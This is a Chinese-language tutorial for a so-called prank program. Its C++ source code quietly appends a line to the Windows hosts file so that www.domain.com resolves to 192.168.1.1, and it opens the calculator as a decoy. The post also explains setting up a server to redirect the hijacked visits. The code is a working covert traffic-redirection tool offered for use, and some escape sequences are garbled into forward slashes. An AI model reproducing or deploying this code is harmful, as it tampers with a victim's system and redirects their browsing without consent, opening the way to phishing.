这是一个由C++&web结合起来的简单恶搞程序,可以将执行该程序的客户端访问的某个网址跳转到另外一个网址。
需要了解的知识点:
1,函数GetFileAttributes返回值列表
#define FILE_ATTRIBUTE_READONLY 0x00000001
#define FILE_ATTRIBUTE_HIDDEN 0x00000002
#define FILE_ATTRIBUTE_SYSTEM 0x00000004
#define FILE_ATTRIBUTE_DIRECTORY 0x00000010
#define FILE_ATTRIBUTE_ARCHIVE 0x00000020
#define FILE_ATTRIBUTE_DEVICE 0x00000040
#define FILE_ATTRIBUTE_NORMAL 0x00000080
#define FILE_ATTRIBUTE_TEMPORARY 0x00000100
#define FILE_ATTRIBUTE_SPARSE_FILE 0x00000200
#define FILE_ATTRIBUTE_REPARSE_POINT 0x00000400
#define FILE_ATTRIBUTE_COMPRESSED 0x00000800
#define FILE_ATTRIBUTE_OFFLINE 0x00001000
#define FILE_ATTRIBUTE_NOT_CONTENT_INDEXED 0x00002000
#define FILE_ATTRIBUTE_ENCRYPTED 0x00004000
2,fstream的方法open()打开文件方式参数列表
ios::app: 以追加的方式打开文件
ios::ate: 文件打开后定位到文件尾,ios:app就包含有此属性
ios::binary: 以二进制方式打开文件,缺省的方式是文本方式。
ios::in: 文件以输入方式打开
ios::out: 文件以输出方式打开
ios::nocreate: 不建立文件,所以文件不存在时打开失败
ios::noreplace:不覆盖文件,所以打开文件时如果文件存在失败
ios::trunc: 如果文件存在,把文件长度设为0
3,给控制台程序添加ico,步骤如下
将icon图标demo.ico复制到项目目录下面,
资源文件 -> 添加 -> 添加资源 -> Icon -> 导入 -> demo.ico,保存即可.
C++ 源码如下:
#include "stdafx.h"
#include <fstream>
#include <string>
#include "windows.h"
using namespace std;
void main(int argc, _TCHAR* argv[])
{
/*
HWND hwnd=GetForegroundWindow();
SendMessage(hwnd,WM_SETICON,ICON_BIG,(LPARAM)LoadIcon(NULL,IDI_QUESTION));
*/
// 获取host路径
char SystemDirectory[50];
GetSystemDirectory(SystemDirectory, 50);
string stringSystemDirectory = SystemDirectory;
stringSystemDirectory += "//drivers//etc//hosts";
if(GetFileAttributes(stringSystemDirectory.c_str()) != FILE_ATTRIBUTE_ARCHIVE)
{
return;
}
// 备份host文件
if(!CopyFile(stringSystemDirectory.c_str(),(stringSystemDirectory+".fun.bak").c_str(),true))
{
//cout<<"程序发生异常!/n";
//return;
}
/*
// 读取hosts
ifstream fin(stringSystemDirectory.c_str());
string sFileTxt;
while(!fin.eof())
{
sFileTxt += fin.get();
}
cout<<sFileTxt;
*/
string visitdomain = "/n/n/n###################/n192.168.1.1/twww.domain.com/0";
ofstream fout;
fout.open(stringSystemDirectory.c_str(),ios::out|ios::app|ios::ate);
if(fout.is_open())
{
fout.write(visitdomain.c_str(),visitdomain.size());
}
fout.close();
// 打开windows计算器
WinExec("calc.exe", SW_SHOW);
}
192.168.1.1服务器端处理
添加虚拟主机www.domain.com,并设置当访问www.domain.com时跳转的网址.